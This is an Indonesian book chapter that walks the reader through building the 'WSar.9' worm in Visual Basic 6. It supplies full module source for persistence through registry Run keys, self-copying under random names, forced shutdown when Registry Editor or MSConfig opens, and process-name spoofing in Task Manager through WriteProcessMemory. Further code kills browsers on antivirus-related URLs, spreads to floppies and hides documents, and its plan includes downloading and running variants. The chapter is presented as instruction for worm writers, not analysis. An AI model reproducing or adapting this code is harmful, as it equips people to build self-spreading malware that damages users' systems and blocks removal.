Hasil file ternyata identik dengan file aslinya. Berikut ini adalah langkah-langkah untuk membuat file asli (WSar.vbs) menjadi file script (C:\WSarScript.wsr) Buka aplikasi MSDOS / COMMAND / CMD, aktifkan direktori C: dimana file asli berada, kemudian ketik perintah berikut:

Tanda garis datar setelah perintah tersebut menunjukan perintah yang dieksekusi telah benar, sekaligus menjadi prompt dalam perintah debug. Untuk mengetahui besar file tersebut ketik "R" atau "RCX" kemudian tekan enter. Bab 15. Worm WSar.9
Jasakom

246

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Nilai register yang akan kita gunakan adalah CX. Nilai CX 0045 menunjukan bahwa file WSar.vbs memiliki kapasitas sebesar 0045 (hexadecimal) atau 69 bytes (decimal). System perhitungan hexadecimal menggunakan base 16, hexadecimal menggunakan 10 angka pertama dari system desimal: 0, 1, 2, 3, 4, 5, 6, 7, 8, dan 9. Sedangkan angka 10 memiliki 2 digit sehingga dalam hexadecimal diwakilkan dengan huruf A, angka 11 dengan huruf B, 12 dengan C, 13 dengan D, 14 dengan E, dan angka 15 dengan huruf F. Perhatikan contoh tabel konversi decimal (dec) dan hexadecimal (hex) berikut:

Dec 0 Hex 0 Dec 16 Hex 10 Dec 32 Hex 20 Dec 64 Hex 40 Hex 90 Hex A0 Hex F0

1 1 17 11 33 21 65 41 91 A1 F1

2 2 18 12 34 22 66 42 92 A2 F2

3 3 19 13 35 23 67 43 93 A3 F3

4 4 20 14 36 24 68 44 94 A4 F4

5 5 21 15 37 25 69 45 95 A5 F5

6 6 22 16 38 26 70 46 96 A6 F6

7 7 23 17 39 27 71 47 97 A7 F7

8 8 24 18 40 28 72 48 98 A8 F8

9 9 25 19 41 29 73 49 99 A9 F9

10 A 26 1A 42 2A 74 4A 9A AA FA

11 B 27 1B 43 2B 75 4B 9B AB FB

12 C 28 1C 44 2C 76 4C 9C AC FC

13 D 29 1D 45 2D 77 4D 9D AD FD

14 E 30 1E 46 2E 78 4E 9E AE FE

15 F 31 1F 47 2F 79 4F 9F AF FF

Dec 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 Dec 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 Dec 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 Dec 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 Hex 100 101 102 103 104 105 106 107 108 109 10A 10B 10C 10D 10E 10F

247

Jasakom

Bab 15. Worm WSar.9

Computer Worm 1 - Secret of Underground Coding : Uncensored

Kemudian ketik D dan tekan enter.

Tampilan diatas adalah hex dump dari file WSar.vbs. Tugas kita sekarang adalah mendapatkan isi file WSar.vbs dari hex dump tersebut. Untuk itu tambahkan 0100 pada RCX (0045) sehingga menjadi 0145 (0100 + 0045 = 0145), kemudian ketik D 0100,0145 dan tekan enter (0100 adalah nilai default dan 0145 merupakan hasil dari penjumlahan sebelumnya).

Bab 15. Worm WSar.9

Setelah mendapatkan hex dump yang dicari, copy data tersebut dan paste-kan pada procedure DropFile.

Jasakom

248

Computer Worm 1 - Secret of Undeground Coding : Uncensored

N C:\WSar.vbs E 0100 6F 6E 20 E 0110 6E 65 78 E 0120 74 6F 20 E 0130 53 61 72 E 0140 0A 6E 65 RCX 45 W Q

65 74 31 2E 78

72 0D 30 39 74

72 0A 0D 20 0D

6F 66 0A 57

72 6F 6D 61

20 72 73 73

72 20 67 20

65 69 62 48

73 20 6F 65

75 3D 78 72

6D 20 20 65

65 31 22 22

20 20 57 0D

Baris pertama pada script diatas dimulai dengan N (Name) dan diikuti dengan nama dan lokasi dimana file tersebut akan dibuat. Baris ke-2 hingga ke-6 adalah data hex dump sebelumnya dengan diberi awalan E (Enter), baris ke-7 adalah instruksi register RCX dan langsung memberikan nilai 45 pada baris berikutnya. Baris ke-9 memberikan instruksi W (Write) dan diakhiri dengan instruksi Q (Quit). Dari contoh yang diberikan diatas dapat diketahui bahwa cara tersebut umumnya menggunakan kapasitas file yang berlipat (hal ini disebabkan file asli dikonversi terlebih dahulu kedalam bentuk hexadecimal yang menggunakan 2 byte untuk mewakili setiap byte dari file asli) dengan proses kompilasi yang terbilang tidak efisien, karena file berupa byte hasil konversi tadi diekstrak menjadi plain text terlebih dahulu, baru kemudian memanfaatkan perintah debug untuk mendapatkan file asli. Walau demikian, ini adalah teknik real yang digunakan para worm writer, termasuk worm Imelda Perkasa yang merupakan salah satu worm lokal dari Indonesia, sehingga penulis tetap memberikan contoh metode Drop File dengan menggunakan fasilitas debug ini. Bab 15. Worm WSar.9 Lalu teknik apakah yang digunakan WSar.9 dalam mengaplikasikan metode Drop File?. Dalam bahasa pemrograman Visual Basic 6.0 terdapat fasilitas Resource Files yang dapat memudahkan kita menggunakan metode Drop File. Dengan teknik ini file asli langsung diletakan pada body program sebagai file Res tanpa adanya konversi terlebih dahulu, sehingga kapasitas file asli tidak berlipat, sedangkan Drop File secara sederhana dilakukan hanya dengan meng-ekstrak file tersebut dari file utama, akibatnya kecepatan yang diperoleh jauh lebih baik. Metode ini akan penulis contohkan lebih detil pada pemrograman WSar.9.

249

Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

15.2 ALGORITMA
WSar.9 memiliki rutin-rutin yang akan melakukan suatu tindakan sebagai berikut: 1. Worm menyembunyikan aplikasi file worm dari task list 2. Melakukan pemeriksaan terhadap eksistensi worm itu sendiri pada suatu system komputer 3. Jika worm tidak mendapatkan eksistensinya maka worm akan melakukan reproduksi dengan menciptakan salinan dirinya pada direktori System Windows dan memanipulasi registry untuk mengaktifkan worm setiap kali Windows startup 4. Worm membuat file launcher baru dengan nama yang diambil secara acak setiap kali Windows startup dan menghapus file launcher yang lama 5. Memanipulasi registry untuk mengubah default icon untuk My Computer, Documents, My Network Place, Recycle Bin dan seluruh file yang berekstensi "exe" menjadi icon bergambar hati. Icon tersebut diekstrak dari file utama dengan menggunakan metode Drop File 6. Melakukan shut down (restart) jika user menjalankan aplikasi System Configuration Utility (MSConfig) 7. Melakukan shut down (turn off) jika user menjalankan aplikasi Registry Editor 8. Jika user menjalankan aplikasi Task Manager, maka pada tab Processes, caption process "EXPLORER" diubah menjadi "SVCHOST", sementara caption process worm sendiri diubah menjadi "EXPLORER", selain itu worm mengubah caption "SYSTEM" menjadi "WSarWasHere" 9. Worm akan memblokir web address yang mengandung kata "worm", "virus" dan "removal", dengan langsung mengakhiri aplikasi browser 10. Pada saat tertentu berusaha menginfeksi disket, menukar fungsi tombol pada mouse, menghilangkan tombol Startmenu dan secara otomatis men-download varian baru dari suatu website dan langsung mengeksekusinya

Bab 15. Worm WSar.9

Jasakom

250

Computer Worm 1 - Secret of Undeground Coding : Uncensored

11. Setiap tanggal 13 bulan Oktober akan menampilkan pesan "WSar.9 Ada Pada Komputer Anda", mencari file berekstensi *.doc pada direktori My Documents dan langsung menyembunyikannya, kemudian membuat salinan worm disetiap folder yang dilalui dengan nama file "where my document.doc.exe".

15.3 PEMROGRAMAN
Buat sebuah project baru pada aplikasi Visual Basic. Atur Project Name menjadi 'WSar, dan Application Title menjadi 'WSar.9 Tambahkan 1 buah object ListBox, 3 buah object Timer, 1 buah object Inet, 6 buah module dan 1 buah file res (resource files), kemudian atur properti untuk masing-masing object tersebut sebagai berikut: Properti object Form1 Jenis
Name Icon ShowInTaskbar Visible BorderStyle ControlBox

Nilai
frmWSar9 (Icon) False False None False

Keterangan
Mengatur nama form menjadi frmWSar9 Pilih icon yang akan digunakan pada form, WSar.9 menggunakan icon word.ico Tidak menampilkan form pada taskbar Tidak menampilkan form pada layar. Tidak memberikan garis tepi pada form Tidak menggunakan control box

Properti object Timer1 Jenis


Name Enable Interval

Nilai
tmrDefender True 200

Keterangan
Mengatur nama Timer menjadi tmrDefender Pastikan Timer akan aktif saat form di-load Setiap instruksi pada procedure Timer akan dieksekusi setiap 0.2 detik

251

Jasakom

Bab 15. Worm WSar.9

Computer Worm 1 - Secret of Underground Coding : Uncensored

Properti object Timer2 Jenis


Name Enable Interval

Nilai
tmrBlockUrl True 1000

Keterangan
Mengatur nama Timer menjadi tmrBlockUrl Pastikan Timer akan aktif saat form di-load Setiap instruksi pada procedure Timer akan dieksekusi setiap satu detik

Properti object Timer3 Jenis


Name Enable Interval

Nilai
tmrMulti True 500

Keterangan
Mengatur nama Timer menjadi tmrWinForce Pastikan Timer akan aktif saat form di-load Setiap instruksi pada procedure Timer akan dieksekusi setiap 0.5 detik

Properti object List1 Jenis


Name

Nilai
lstDoc

Keterangan
Mengatur nama ListBox menjadi lstDoc

Properti Module1 Jenis


Name

Nilai
mdlBlockUrl

Keterangan
Mengatur nama module menjadi mdlBlockUrl

Bab 15. Worm WSar.9

Properti Module2 Jenis


Name

Nilai
mdlIseng

Keterangan
Mengatur nama module menjadi mdlIseng

Jasakom

252

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Properti Module3 Jenis


Name

Nilai
mdlRegistryAPI

Keterangan
Mengatur nama module menjadi mdlRegistryAPI

Properti Module4 Jenis


Name

Nilai
mdlRenProcess

Keterangan
Mengatur nama module menjadi mdlRenProcess

Properti Module5 Jenis


Name

Nilai
mdlTurnOff

Keterangan
Mengatur nama module menjadi mdlTurnOff

Properti Module6 Jenis


Name

Nilai
mdlWinCheck

Keterangan
Mengatur nama module menjadi mdlWinCheck

Kemudian tambahkan object Inet dengan menambahkan komponen Inet pada toolbox terlebih dahulu dengan cara: Bab 15. Worm WSar.9 1. Klik Project pada menubar, dan pilih Component. Atau dengan menekan kombinasi tombol Ctrl+T. 2. Beri seleksi pada opsi Microsoft Internet Transfer Control 6.0, kemudian klik Close. 3. Klik ganda object Inet pada toolbox untuk memasukannya pada form. Terakhir tambahkan file Res. File yang ditambahkan bisa berupa file apa saja seperti file image, text atau executable. Dalam hal ini WSar.9 memasukan sebuah file icon bergambar hati pada file Res.

253

Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Berikut ini adalah langkah-langkah untuk membuat suatu file Res. 1. Klik Add-Ins pada menubar, dan pilih Add-In Manager. Atau dengan menekan kombinasi tombol Alt (tahan) +A +A 2. Pada list Available Add-Ins klik VB 6 Resource Editor, kemudian pada frame Load Bahavior beri check pada opsi Loaded/Unloaded dan opsi Load on Startup, akhiri dengan mengklik tombol OK

3. Klik Tools pada menubar, kemudian klik Resource Editor

Bab 15. Worm WSar.9

Jasakom

254

Computer Worm 1 - Secret of Undeground Coding : Uncensored

4. Pada jendela VB Resource Editor, klik tombol Add Custom Resource

5. Pada kotak dialog "Open A Custom Resource", cari dan temukan file yang akan dimasukan kedalam file res. Dalam hal ini, icon bergambar hati "heart.ico", kemudian klik Open

6. Pada tree Resource File dapat terlihat sebuah sub tree baru, muncul dibawahnya dengan nama "CUSTOM" dan ID 101. WSar.9 tetap menggunakan nilai ini, namun untuk mengubah nilai ini bisa dilakukan dengan mengklik pada tombol Edit Properties.

255

Jasakom

Bab 15. Worm WSar.9

Computer Worm 1 - Secret of Underground Coding : Uncensored

Terakhir, simpan file res tersebut dengan mengklik tombol Save. Simpan dengan nama WSar, setelah itu secara otomatis pada Project Explorer muncul sebuah sub tree baru dengan nama Related Documents dan sebuah file res dengan nama WSar.RES. Setelah Anda berhasil menambahkan file icon sebagai resource file, ketik kode program berikut ini pada module mdlBlockUrl:

Private Declare Function GetWindowText Lib "user32" Alias _ "GetWindowTextA" (ByVal hWnd As Long, ByVal lpString As _ String, ByVal cch As Long) As Long Private Declare Function GetWindow Lib "user32" (ByVal hWnd _ As Long, ByVal wCmd As Long) As Long Private Declare Function GetWindowTextLength Lib "user32" Alias _ "GetWindowTextLengthA" (ByVal hWnd As Long) As Long Private Declare Function FindWindow Lib "user32" Alias _ "FindWindowA" (ByVal lpClassName As String, ByVal _ lpWindowName As String) As Long Private Declare Function GetClassName Lib "user32" Alias _ "GetClassNameA" (ByVal hWnd As Long, ByVal lpClassName _ As String, ByVal nMaxCount As Long) As Long Private Declare Function SendMessage Lib "user32" Alias _ "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, _ ByVal wParam As Long, ByVal lParam As Any) As Long Global thehwnd As Long Global thesite As String Const GWW_HINSTANCE = (-6) Const GWW_ID = (-12) Const GWL_STYLE = (-16) Const GW_CHILD = 5 Const GW_HWNDFIRST = 0 Const GW_HWNDLAST = 1 Const GW_HWNDNEXT = 2 Const GW_HWNDPREV = 3 Const GW_OWNER = 4 Global Const WM_SETTEXT = &HC Global Const WM_GETTEXT = &HD Global Const WM_GETTEXTLENGTH = &HE Private Declare Function SetWindowText Lib "user32" Alias _ "SetWindowTextA" (ByVal hWnd As Long, ByVal lpString As _ String) As Long Private Declare Function ShellExecute Lib "shell32.dll" Alias _ "ShellExecuteA" (ByVal hWnd As Long, ByVal lpOperation As _ String, ByVal lpFile As String, ByVal lpParameters As String, _ ByVal lpDirectory As String, ByVal nShowCmd As Long) As _ Long

Bab 15. Worm WSar.9

Jasakom

256

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Public Function BlockUrl(ByVal UrlText As String) As Boolean Dim currwnd As Long currwnd = GetWindow(Forms(0).hWnd, GW_HWNDFIRST) While currwnd <> 0 Length = GetWindowTextLength(currwnd) listitem$ = Space$(Length + 1) Length = GetWindowText(currwnd, listitem$, Length + 1) If Length > 0 Then X = Right$(listitem$, 29) mypos = InStr(1, X, "Microsoft Internet Explorer", 1) If mypos > 1 Then X = EditInfo(currwnd) compare = UrlText mypos = InStr(1, UCase(X), UCase(compare), 1) If mypos >= 1 Then thesite = UrlText Dim K As String K = WindowText(currwnd) AppActivate(K) SendKeys("%{F4}") Exit Function End If End If mypos = InStr(1, X, "Netscape", 1) If mypos > 1 Then X = EditInfo(currwnd) compare = UrlText mypos = InStr(1, UCase(X), UCase(compare), 1) If mypos >= 1 Then thesite = UrlText AppActivate(WindowText(currwnd)) SendKeys("%{F4}") Exit Function End If End If End If currwnd = GetWindow(currwnd, GW_HWNDNEXT) X = DoEvents() End While End Function Private Function EditInfo(ByVal window_hwnd As Long) As String Dim txt As String Dim buf As String Dim buflen As Long Dim child_hwnd As Long Dim children() As Long Dim num_children As Integer Dim i As Integer buflen = 256 buf = Space$(buflen - 1) buflen = GetClassName(window_hwnd, buf, buflen) buf = Left$(buf, buflen) If buf = "Edit" Then EditInfo = WindowText(window_hwnd) thehwnd = window_hwnd Exit Function End If

257

Jasakom

Bab 15. Worm WSar.9

Computer Worm 1 - Secret of Underground Coding : Uncensored

num_children = 0 child_hwnd = GetWindow(window_hwnd, GW_CHILD) Do While child_hwnd <> 0 num_children = num_children + 1 ReDim Preserve children(1 To num_children) children(num_children) = child_hwnd child_hwnd = GetWindow(child_hwnd, GW_HWNDNEXT) Loop For i = 1 To num_children txt = EditInfo(children(i)) If txt <> "" Then Exit For Next i EditInfo = txt End Function Private Function WindowText(ByVal window_hwnd As Long) As String Dim txtlen As Long Dim txt As String WindowText = "" If window_hwnd = 0 Then Exit Function txtlen = SendMessage(window_hwnd, WM_GETTEXTLENGTH, _ 0, 0) If txtlen = 0 Then Exit Function txtlen = txtlen + 1 txt = Space$(txtlen) txtlen = SendMessage(window_hwnd, WM_GETTEXT, txtlen, _ ByVal txt) WindowText = Left$(txt, txtlen) End Function

Ketik kode program berikut ini pada module mdlIseng:


Public Declare Function ShowWindow Lib "user32" (ByVal hWnd _ As Long, ByVal nCmdShow As Long) As Long Public Declare Function FindWindow Lib "user32" Alias _ "FindWindowA" (ByVal lpClassName As String, ByVal _ lpWindowName As String) As Long Public Declare Function FindWindowEx Lib "user32" Alias _ "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As _ Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long Public Declare Function ShowCursor& Lib "user32" (ByVal bShow _ As Long) Public Declare Function SwapMouseButton& Lib "user32" (ByVal _ bSwap As Long) Public Function StartButton(ByVal View As Boolean) OurParent& = FindWindow("Shell_TrayWnd", "") OurHandle& = FindWindowEx(OurParent&, 0, "Button", _ vbNullString) If View = False Then ShowWindow(OurHandle&, 0) Else ShowWindow(OurHandle&, 5) End If End Function

Bab 15. Worm WSar.9

Jasakom

258

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Ketik kode program berikut ini pada module mdlRenProcess:


Option Explicit On Declare Function OpenProcess Lib "kernel32" (ByVal _ dwDesiredAccess As Long, ByVal bInheritHandle As Long, _ ByVal dwProcessId As Long) As Long Declare Function WriteProcessMemory Lib "kernel32" (ByVal _ hProcess As Long, ByVal lpBaseAddress As Any, ByVal _ lpBuffer As Any, ByVal nSize As Long, _ ByVal lpNumberOfBytesWritten As Long) As Long Declare Function ReadProcessMemory Lib "kernel32" (ByVal _ hProcess As Long, ByVal lpBaseAddress As Any, ByVal _ lpBuffer As Any, ByVal nSize As Long, _ ByVal lpNumberOfBytesWritten As Long) As Long Declare Function ProcessNext Lib "kernel32" Alias _ "Process32Next" (ByVal hSnapshot As Long, ByVal uProcess As _ PROCESSENTRY32) As Long Declare Function CreateToolhelpSnapshot Lib "kernel32" Alias _ "CreateToolhelp32Snapshot" (ByVal lFlags As Long, ByVal lProcessID _ As Long) As Long Public Const TH32CS_SNAPPROCESS As Long = 2& Type PROCESSENTRY32 dwSize As Long cntUsage As Long th32ProcessID As Long th32DefaultHeapID As Long th32ModuleID As Long cntThreads As Long th32ParentProcessID As Long pcPriClassBase As Long dwFlags As Long szExeFile As String * 260 End Type Public myHandle As Long Public myproclist$ Dim p As Long Private Function UNICODE(ByVal PREREP As String) Dim REPIT As String REPIT = "" For p = 1 To Len(PREREP) REPIT = REPIT & Chr(0) & Mid(PREREP, p, 1) Next p UNICODE = REPIT End Function Private Function InitProcHack(ByVal pid As Long) Dim pHandle pHandle = OpenProcess(&H1F0FFF, False, pid) If (pHandle = 0) Then InitProcHack = False myHandle = 0 Else InitProcHack = True myHandle = pHandle End If End Function

259

Jasakom

Bab 15. Worm WSar.9

Computer Worm 1 - Secret of Underground Coding : Uncensored

Private Function DoThat(ByVal PIDX As Long, ByVal OldText As String, _ ByVal NewText As String) Dim i, rsd As Integer If Len(OldText) > Len(NewText) Then rsd = Len(OldText) - Len(NewText) For i = 1 To rsd NewText = NewText & " " Next i End If If Len(OldText) < Len(NewText) Then NewText = NewText & Chr(0) End If DoEvents() If Not InitProcHack(PIDX) Then Exit Function Dim c, startpos As Integer Dim addr As Long Dim buffer As String * 20016 Dim readlen As Long Dim writelen As Long Dim srchstring, repstring As String Dim bytewrite srchstring = UNICODE(OldText) repstring = UNICODE(NewText) DoEvents() For addr = 0 To 4000 Call ReadProcessMemory(myHandle, addr * 20000, buffer, 20016, _ readlen) If readlen > 0 Then startpos = 1 While InStr(startpos, buffer, srchstring) > 0 p = (addr) * 20000 + InStr(startpos, buffer, srchstring) - 1 Call WriteProcessMemory(myHandle, CLng(p), repstring, _ Len(repstring), bytewrite) startpos = InStr(startpos, buffer, Trim(srchstring)) + 1 End While End If Next addr DoEvents() End Function

Bab 15. Worm WSar.9

Public Function RenProcess(ByVal OldText As String, ByVal NewText As String) Dim newproclist As String newproclist = "" Dim myProcess As PROCESSENTRY32 Dim mySnapshot As Long myProcess.dwSize = Len(myProcess) mySnapshot = CreateToolhelpSnapshot(TH32CS_SNAPPROCESS, _ 0&)

Jasakom

260

Computer Worm 1 - Secret of Undeground Coding : Uncensored

While ProcessNext(mySnapshot, myProcess) If InStr(1, myproclist$, "[" & _ myProcess.th32ProcessID & "]") = 0 Then If Left(myProcess.szExeFile, InStr(myProcess.szExeFile, Chr(0)) _ - 1) = "taskmgr.exe" Then DoThat(myProcess.th32ProcessID, OldText, NewText) Else DoEvents() End If End If newproclist = newproclist & "[" & myProcess.th32ProcessID & "]" End While End Function

Ketik kode program berikut ini pada module mdlTurnOff:


Option Explicit On Private Declare Function ExitWindowsEx Lib "user32" (ByVal _ dwOptions As Long, ByVal dwReserved As Long) As Long Private Declare Function GetCurrentProcess Lib "kernel32" () As _ Long Private Declare Function OpenProcessToken Lib "advapi32" _ (ByVal ProcessHandle As Long, ByVal DesiredAccess As Long, _ ByVal TokenHandle As Long) As Long Private Declare Function LookupPrivilegeValue Lib "advapi32" _ Alias "LookupPrivilegeValueA" (ByVal lpSystemName As _ String, ByVal lpName As String, ByVal lpLuid As LUID) As Long Private Declare Function AdjustTokenPrivileges Lib "advapi32" _ (ByVal TokenHandle As Long, ByVal DisableAllPrivileges _ As Long, ByVal NewState As TOKEN_PRIVILEGES, ByVal _ BufferLength As Long, ByVal PreviousState As Any, ByVal ReturnLength _ As Long) As Long Private Declare Function GetVersionEx Lib "kernel32" Alias _ "GetVersionExA" (ByVal lpVersionInformation As OSVERSIONINFO) _ As Long Private Const TOKEN_ADJUST_PRIVILEGES As Long = &H20 Private Const TOKEN_QUERY As Long = &H8 Private Const SE_PRIVILEGE_ENABLED As Long = &H2 Private Const EWX_LOGOFF As Long = &H0 Private Const EWX_SHUTDOWN As Long = &H1 Private Const EWX_REBOOT As Long = &H2 Private Const EWX_FORCE As Long = &H4 Private Const VER_PLATFORM_WIN32_NT As Long = 2 Private Type OSVERSIONINFO OSVSize As Long dwVerMajor As Long dwVerMinor As Long dwBuildNumber As Long PlatformID As Long szCSDVersion As String * 128 End Type

261

Jasakom

Bab 15. Worm WSar.9

Computer Worm 1 - Secret of Underground Coding : Uncensored

Private Type LUID dwLowPart As Long dwHighPart As Long End Type Private Type LUID_AND_ATTRIBUTES udtLUID As LUID dwAttributes As Long End Type Private Type TOKEN_PRIVILEGES PrivilegeCount As Long laa As LUID_AND_ATTRIBUTES End Type Dim uflags As Long Dim success As Long Private Type POINTAPI X As Long Y As Long End Type Private Type RECT Left As Long Top As Long Right As Long Bottom As Long End Type Private Type WINDOWPLACEMENT Length As Long flags As Long ShowCmd As Long ptMinPosition As POINTAPI ptMaxPosition As POINTAPI rcNormalPosition As RECT End Type Public Enum TurnMethode ShutDown LogOff Restart End Enum Private Function CheckPrivilege() As Boolean #If Win32 Then Dim OSV As OSVERSIONINFO OSV.OSVSize = Len(OSV) If GetVersionEx(OSV) = 1 Then CheckPrivilege = (OSV.PlatformID = _ VER_PLATFORM_WIN32_NT) And (OSV.dwVerMajor >= 4) End If #End If End Function

Bab 15. Worm WSar.9

Jasakom

262

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Private Function WithPrivilege() As Boolean Dim hProcessHandle As Long Dim hTokenHandle As Long Dim lpv_la As LUID Dim token As TOKEN_PRIVILEGES hProcessHandle = GetCurrentProcess() If hProcessHandle <> 0 Then If OpenProcessToken(hProcessHandle, _ (TOKEN_ADJUST_PRIVILEGES Or TOKEN_QUERY), _ hTokenHandle) <> 0 Then If LookupPrivilegeValue(vbNullString, "SeShutdownPrivilege", _ lpv_la) <> 0 Then With token .PrivilegeCount = 1 .laa.udtLUID = lpv_la .laa.dwAttributes = SE_PRIVILEGE_ENABLED End With If AdjustTokenPrivileges(hTokenHandle, False, token, ByVal 0&, _ ByVal 0&, ByVal 0&) <> 0 Then WithPrivilege = True End If End If End If End If End Function Public Function TurnOff(ByVal Methode As TurnMethode, ByVal ForceOff As _ Boolean) If Methode = ShutDown Then uflags = EWX_SHUTDOWN End If If Methode = LogOff Then uflags = EWX_LOGOFF End If If Methode = Restart Then uflags = EWX_REBOOT End If If CheckPrivilege() Then success = WithPrivilege() End If If ForceOff = True Then uflags = uflags Or EWX_FORCE If success Then Call ExitWindowsEx(uflags, 0&) Else Call ExitWindowsEx(uflags, 0&) End If End Function

263

Jasakom

Bab 15. Worm WSar.9

Computer Worm 1 - Secret of Underground Coding : Uncensored

ketik kode program berikut ini pada object frmWSar9:


'WSar.9 by Achmad Darmal 'Tarakan, Kalimantan Timur - Indonesia Option Explicit On Private Declare Function GetWindowsDirectory Lib "kernel32" _ Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, _ ByVal nSize As Long) As Long Private Declare Function GetSystemDirectory Lib "kernel32" Alias _ "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize _ As Long) As Long Private Declare Function InternetGetConnectedState Lib _ "wininet.dll" (ByRef lpdwFlags As Long, ByVal dwReserved As _ Long) As Long Private SF As String * 255 Dim TskActMon As Boolean Dim CPayload As Boolean Dim VarianExist As Boolean Private Sub Form_Load() On Error Resume Next App.TaskVisible = False App.Title = App.EXEName CPayload = False VarianExist = False If App.PrevInstance = True Then End InfectSystem() ChangeIcon() End Sub Private Sub InfectSystem() On Error Resume Next Dim WSarName As String Dim WSarLast As String Dim WSarPath As String Dim RandomName As String Dim Mins, Maks, RandNo As Long Dim i, a As Long Dim alp As String alp = "0123456789 abcdefghijklmnopqrstuvwxyzABCDEFGHIJ" & _ "LMNOPQRSTUVWXYZ" RandomName = "" WSarName = GetStringValue("HKEY_LOCAL_MACHINE\So" & _ "ftware\Microsoft\Windows\CurrentVersion", "ProductNo") WSarLast = GetStringValue("HKEY_LOCAL_MACHINE\Soft" & _ "ware\Microsoft\Windows\CurrentVersion", "ProductCode") WSarPath = GetStringValue("HKEY_LOCAL_MACHINE\Soft" & _ "ware\Microsoft\Windows\CurrentVersion\Run", WSarName) Mins = 4 Maks = 12 RandNo = Mins + Fix(Rnd * (Maks - Mins + 1))

Bab 15. Worm WSar.9

Jasakom

264

Computer Worm 1 - Secret of Undeground Coding : Uncensored

For i = 1 To RandNo Randomize() a = Int(Rnd * 62) RandomName = RandomName & Mid(alp, a, 1) Next i If LCase(WSarName) = "error" Then FileCopy(WormFile, SpecialFolder(1) & "\" & RandomName & _ ".exe") SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion", "ProductNo", RandomName) SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion", "ProductCode", App.EXEName) SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion\Run", RandomName, SpecialFolder _ (1) & "\" & RandomName & ".exe") Else If LCase(App.Path) <> LCase(SpecialFolder(1)) Then End Kill(SpecialFolder(1) & "\" & WSarLast) DeleteKeyValue("HKEY_LOCAL_MACHINE\Software\Micro" & _ "soft\Windows\CurrentVersion\Run", WSarName) FileCopy(WormFile, SpecialFolder(1) & "\" & RandomName & _ ".exe") SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion", "ProductNo", RandomName) SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion", "ProductCode", App.EXEName & _ ".exe") SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion\Run", RandomName, SpecialFolder _ (1) & "\" & RandomName & ".exe") End If End Sub Private Sub ChangeIcon() On Error Resume Next If Dir(SpecialFolder(0) & "\" & "WSar9.ico") = "" Then DropFile("CUSTOM", 101, SpecialFolder(0) & "\" & "WSar9.ico") SetStringValue("HKEY_CLASSES_ROOT\exefile\DefaultIcon", _ "", SpecialFolder(0) & "\" & "WSar9.ico") End If SetStringValue("HKEY_CURRENT_USER\Software\Microsoft" & _ "\Windows\CurrentVersion\Explorer\CLSID\{450D8FBA-A" & _ "D25-11D0-98A8-0800361B1103}\DefaultIcon", "", _ SpecialFolder(0) & "\" & "WSar9.ico") SetStringValue("HKEY_CURRENT_USER\Software\Microsoft" & _ "\Windows\CurrentVersion\Explorer\CLSID\{20D04FE0-3A" & _ "EA-1069-A2D8-08002B30309D}\DefaultIcon", "", _ SpecialFolder(0) & "\" & "WSar9.ico") SetStringValue("HKEY_CURRENT_USER\Software\Microsoft" & _ "\Windows\CurrentVersion\Explorer\CLSID\{208D2C60-3A" & _ "EA-1069-A2D7-08002B30309D}\DefaultIcon", "", _ SpecialFolder(0) & "\" & "WSar9.ico") SetStringValue("HKEY_CURRENT_USER\Software\Microsoft" & _ "\Windows\CurrentVersion\Explorer\CLSID\{645FF040-508" & _ "1-101B-9F08-00AA002F954E}\DefaultIcon", "full", _ SpecialFolder(0) & "\" & "WSar9.ico")

265

Jasakom

Bab 15. Worm WSar.9

Computer Worm 1 - Secret of Underground Coding : Uncensored

SetStringValue("HKEY_CURRENT_USER\Software\Microsoft" & _ "\Windows\CurrentVersion\Explorer\CLSID\{645FF040-508" & _ "1-101B-9F08-00AA002F954E}\DefaultIcon", "empty", _ SpecialFolder(0) & "\" & "WSar9.ico") End Sub Private Sub tmrBlockUrl_Timer() On Error Resume Next BlockUrl("worm") BlockUrl("virus") BlockUrl("removal") End Sub Private Sub tmrDefender_Timer() On Error Resume Next If WinCheck("taskmgr.exe") = False Then TskActMon = False End If If WinCheck("taskmgr.exe") = True And TskActMon = True Then _ Exit Sub If WinCheck("taskmgr.exe") = True And TskActMon = False Then RenProcess(App.EXEName & ".exe", "explorer.exe") RenProcess("EXPLORER.EXE", "SVCHOST.EXE") RenProcess("Explorer.exe", "svchost.exe") RenProcess("SYSTEM", "WSarWasHere") TskActMon = True End If If WinCheck("regedit.exe") = True Or WinCheck("regedt32.exe") = _ True Then tmrDefender.Enabled = False TurnOff(ShutDown, True) End If If WinCheck("msconfig.exe") = True Then tmrDefender.Enabled = False TurnOff(Restart, True) End If End Sub Private Sub InfectFloppy() On Error Resume Next Dim Files() As String Dim i As Integer Dim Acak As Integer lstDoc.Clear() lstDoc.AddItem(GetStringValue("HKEY_CURRENT_USER\So" & _ "ftware\Microsoft\Windows\CurrentVersion\Explorer\Shell F" & _ "olders", "Personal")) Files() = GetFiles(lstDoc.List(0) & "\" & "*.doc", vbNormal) lstDoc.Clear() For i = 1 To UBound(Files) lstDoc.AddItem(Files(i)) Next i Randomize() Acak = Int(Rnd * (lstDoc.ListCount))

Bab 15. Worm WSar.9

Jasakom

266

Computer Worm 1 - Secret of Undeground Coding : Uncensored

